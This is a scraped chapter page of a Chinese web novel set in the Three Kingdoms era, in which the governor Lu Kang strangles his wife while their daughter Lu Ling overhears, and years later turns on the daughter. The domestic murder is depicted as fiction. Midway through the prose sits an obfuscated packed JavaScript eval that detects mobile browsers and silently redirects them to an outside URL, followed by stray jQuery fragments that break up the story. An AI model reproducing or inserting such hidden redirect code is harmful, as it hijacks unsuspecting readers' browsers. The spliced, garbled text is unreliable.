默认冷灰
24号文字
方正启体

11. 美人灯

作者:知一易本书字数:K更新时间:
    【三年前,陆泠母亲张氏去世前夜】


    四大家族之间有个不成文的规矩,次子通常与次女成婚。


    陆康家中排行老二,陆泠的生母张氏也为次女。尽管两人相差了二十五岁。


    张氏自十五岁嫁给陆康,每日都活得小心翼翼。


    尤其害怕后院那口井。


    起初一切都好,绩儿出生,再到泠儿出生。


    张氏悄悄翻了个身,她想起陆泠,十一岁了还没出过家门。


    一次陆绩犯了错,妹妹心疼哥哥,说要替哥哥挨罚。那天过后,陆泠发了烧,自此前厅也不许她踏足。


    “母亲,父亲为何不许泠儿出门呐?”


    面对年幼的女儿,张氏是怎么回答的?


    “父亲也是为了保护泠儿,身处乱世,出了家门,恐怕再也回不来。泠儿要乖乖听父亲的话。”


    也因为母亲的话,陆泠再没说过想出家门外看看的话。


    可怜的姑娘,做母亲的心疼,却不敢说什么。


    陆氏不能没有陆康。庐江太守,一郡之主,多少人盯着他的位子,盯着陆家的门楣。且陆康对庐江有功,万不可出事。


    陆康的大哥早些年病重,族中人以为他命不久矣,便劝其将太守之位让给弟弟。


    大哥成了整日需要人服侍的呆子,常年四处寻医,也无济于事。


    张氏不知道自己是几时又睡过去的。


    再醒来,是被人从床上拽着头发起来的。


    “起来。”


    是陆康的声音。


    张氏懵懵懂懂地被拖到地上,膝头撞在床沿,疼得她嘶了一声。


    屋里没点灯,丈夫穿着寝衣,赤着脚,但眼睛是亮的,如刀刃。


    “夫君?你这是……”


    “你今天做了什么?”


    张氏跪在地上,脑子里一片空白。


    做了什么?她今天做了太多事,数不过来。


    “妾、妾身不知……”


    “叔盘府上的人今天来过。”


    张氏心里一沉。陆康的大哥陆纡(字叔盘),今下午派人来过,站在门口说了几句话。


    “他说什么?”陆康问。


    “明日大哥府上设宴,问夫君是否有空赴约……”


    “你在门口跟来人说话,没有人看见?”


    “没、没有。”


    “你怎么知道没人?”


    张氏深知不能再反驳,默默闭上嘴。


    陆康又道:“你是陆家的主母,跟大哥的人站在我家门口说话,旁人会怎么想?”


    “妾身没说什么,当真只是——”


    “你说了什么?一字不漏复述给我听!”


    张氏拼命回忆,她与来的人说了什么。来回拢共不过五句话,“明日设宴”“是否得空”“明日几时”“晚些给个答复”,没了。


    她是不是说了什么不该说的?


    张氏膝盖疼,手也抖,脑子里一团浆糊,深陷自我怀疑。


    “妾身真没说什么,只是——”


    陆康弯腰,捏住她的下巴,把她脸抬起来。


    “你和大哥偷情多久了?”


    “夫君冤枉!妾身从未做过这等事!”


    “嫁给我,你觉得是次子,丢人。这些年一直与大哥暗中偷情,是不是?”


    “真没有!妾身绝对没做过对不起夫君的事!”


    陆康松开手,直起身。


    “看来你是承认错误了。”


    张氏跪着,拼命摇头。


    陆康转身,往外走。


    张氏跪在原地,听见他的脚步声往东去了。


    那是陆泠的屋子方向。


    她心里一紧,想喊,却喊不出声。


    很快脚步声又折回来,陆康走进来,手里多了一样东西。


    一根马鞭和粗绳。


    张氏看着,忽然就不抖了。


    她还想说些什么,大多关于陆泠的。例如求陆康给她一些自由。


    但陆康已经把粗绳绕在她脖子上。


    “大哥当年与山贼暗通,打算灭我庐江。这等叛徒,你竟敢与他偷情!”


    “妾身……没有……”


    “大哥装病四处求医,其实一直再与外人结盟,妄图迫害庐江百姓!这些,别说你一无所知。”


    “妾身真的……不知……夫君求求……”


    张氏抓着陆康的手腕,指甲掐进去,他眉头都没皱一下。


    “夫君松手……妾身快……快……”


    张氏的脚在地上蹬几下,后来就不蹬了。手没了力气,垂下去的时候,眼睛还往上翻了下。


    陆康松开手,看了眼握在另一只手的马鞭。


    “白取了。果然,叛徒的命,根本不值得费力。”


    张氏倒在地上,脖子上的粗绳还没解下来,脸朝着门的方向,眼睛还睁着。


    “泠儿……逃出去吧……忘了母亲的话,离开这个家……”


    张氏耗尽了最后一口气。


    陆康走到门口,拉开门。


    走廊空荡荡的,一个人也没有。


    陆康关上门,走回床边,继续睡觉。


    *


    第二天一早,陆康叫来家中所有人,说张氏是想不开,自己寻的短见。


    没人敢问为什么。此后数年,也无人知晓真相。


    除了陆泠。


    不过半夜睡不着,突然想母亲。


    跑回自己的屋内后,陆泠整夜蜷缩在被子里不敢睡。


    右边脸颊上有指甲印。是昨晚她躲在门外,死死捂住自己的嘴时掐的。


    不可以出声,不能让任何人知道母亲是怎么死的。


    因为父亲不能有事。陆氏不能没有陆康。


    这是母亲反反复复告诉自己的话。


    张氏因为不知自己何时会突然离开,每逢想起,便会跟陆泠说,当做遗言。


    “母亲说过,父亲不能有事……我不能告诉任何人……必须藏在心底一辈子……”


    *


    【三年后,后院,当下】


    风吹过枯井,发出呜呜的声响。


    “陆泠,你清楚为父从不轻易动手。为官多年,只杀不忠之人。”


    “女儿清楚。父亲为官一生,受世人敬仰。”


    “陆绩知道我的底线,不会轻易惹怒我,我也不曾对他动手。”


    “……嗯。”


    其实打过一次,斥责哥哥丢人现眼。


    陆绩年少时,曾随陆康北上,在袁术家中作客。席上有橘,陆绩为母亲能够吃到橘子,私取三枚藏于怀里。被当场拆穿,惹来哄堂大笑。


    想来父亲忘得一干二净,陆泠也不愿提及。恐怕两年前之事,他也忘了。


    二年前,她也是这样跪着,哭得浑身发抖。是母亲跪着说人快被打死了,父亲才收手。


    二年后的今天,她仍跪在那里,但不再求父亲放过自己,不想再求些求不来的期望。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381162|200184||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>一如她曾期望,那个叫孙策的人,带她离开这里。


    陆康小时候最宠爱陆泠。


    可后来,他亲手打得她浑身淤青。因为她逃跑出去,离开了自己的视线。


    小孩眼里是贪玩,陆康眼里那是叛逃。


    一晃十四年,陆泠只踏出过府门两次。


    一次是参加宗亲婚宴,她遇见了孙策。


    一次是半夜偷跑出城,她去见了孙策。


    陆泠从没奢望过去墙外面的人世间看看,她所熟知的人间,是哥哥口中描述而来的。


    繁华的街道,数不尽的美食器物,携手相伴的有情人。


    陆康缓缓弯下腰,扶着井沿,在陆泠面前蹲下。


    “为父问你,你老实回答。”


    “是。”


    “你想自由进出府门吗?”


    “……不想。”


    “那天晚上,孙策有没有碰过你?你跟他,是不是行了偷鸡摸狗之事?”


    陆泠被如此刺耳之词吓得身子一僵。


    “女儿发誓,自己是干净的。父亲若不信,可以叫接生婆来查验。”


    良久,陆康伸出手,落在女儿的头顶,温柔地抚摸。


    就像她小时候那样。


    “为父信你。”


    陆泠愣住了。


    “为父信你不是叛徒。为父也知道,这些年,委屈你了。”


    本来倔强的陆泠,平生第一次听到这种话,眼泪忽然涌出来。


    世态炎凉,父亲终于变了吗。


    “父亲……”


    “为父守了一辈子庐江,城在,为父在。城破,为父死。这是命。”


    陆泠含着泪拼命点头:“女儿明白……女儿都明白……”


    陆康望着她,眼中终于有了一丝温柔。


    “若有一日城破了,父亲也走了,你便去找孙策吧。”


    陆泠浑身一震,睁大眼睛。


    “父亲为何……我与他当真什么也不曾发生!请父亲相信女儿!”


    “为父看出来了,你喜欢他。”


    “女儿没有——”


    “不必瞒我。为父活了这么大岁数,什么看不出来?你偷跑出去那晚,回来之后,整个人都不一样了。”


    “我……女儿不喜欢他,从没喜欢过。”


    六十九岁的陆康扯出一丝苦涩的笑。陆泠看得心抽搐般疼。


    “为父不喜欢孙策。可是泠儿,为父不能陪你一辈子,总要有个人护着你。”


    “父亲……”


    “孙策虽然狂妄可恨,但为父看得出来,他不是个背信弃义的小人。如果不是袁术下令,他不会攻打庐江。这样的人,应该不会负你。倒是我,十四年来委屈你了,父亲对不起你。”


    陆康喘了口气,声音越来越虚弱。


    陆泠的眼泪流得更凶了。


    “父亲别说了……女儿不会去找他,女儿哪儿也不去,女儿守着父亲,一辈子也行。”


    陆康笑着轻轻拍了拍她的脸。


    “为父活不了几天了,你守着为父做什么?去活着,离开这里,看看这人世间,潇洒、自由、快活……”


    他的声音越来越低,手也从她脸上滑落。


    陆泠想扶住他,却不料滑落的手停在了另一个地方,如绞命的绳索,扼住她的脖颈。


    她惊恐地看着眼前瞬间变了脸的父亲,难以呼吸。


    “你以为为父已经愚蠢到跟你说这些话了吗?陆泠!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)